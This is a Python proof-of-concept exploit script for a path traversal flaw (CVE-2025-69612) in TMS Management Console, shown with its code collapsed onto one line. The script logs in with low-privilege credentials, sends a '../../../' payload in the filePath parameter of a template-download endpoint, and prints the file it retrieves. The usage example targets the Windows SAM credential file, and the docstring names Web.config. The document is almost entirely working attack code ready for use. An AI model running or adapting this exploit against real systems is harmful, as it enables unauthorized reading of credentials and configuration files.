CVE-2025-69612 TMS Management Console路径遍历漏洞

import requests import sys # CVE-2025-69612 Path Traversal PoC # Target: TMS Management Console < 6.3.7.27386.20250818 # Vulnerability: Unvalidated filePath parameter in Download Template function def exploit(target_url, username, password, file_to_read): """ Exploit path traversal vulnerability to read arbitrary files Args: target_url: Base URL of TMS Management Console username: Valid low-privilege user credentials password: User password file_to_read: Absolute path of file to read (e.g., ../../../Web.config) """ # Login to obtain session login_url = f"{target_url}/api/auth/login" login_data = { "username": username, "password": password } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return False print(f"[+] Login successful") # Exploit path traversal via Download Template function exploit_url = f"{target_url}/api/profile/download-template" # Construct path traversal payload payload = { "filePath": f"../../../{file_to_read}" } print(f"[*] Attempting to read: {file_to_read}") response = session.get(exploit_url, params=payload) if response.status_code == 200 and len(response.content) > 0: print(f"[+] File content retrieved successfully") print(f"[+] Content length: {len(response.content)} bytes") print(f"\n--- File Content ---\n") print(response.text) return True else: print(f"[-] Failed to retrieve file") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <file_path>") print(f"Example: {sys.argv[0]} http://target.com:8080 admin password 'Windows/System32/config/sam'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] exploit(target, user, pwd, file_path)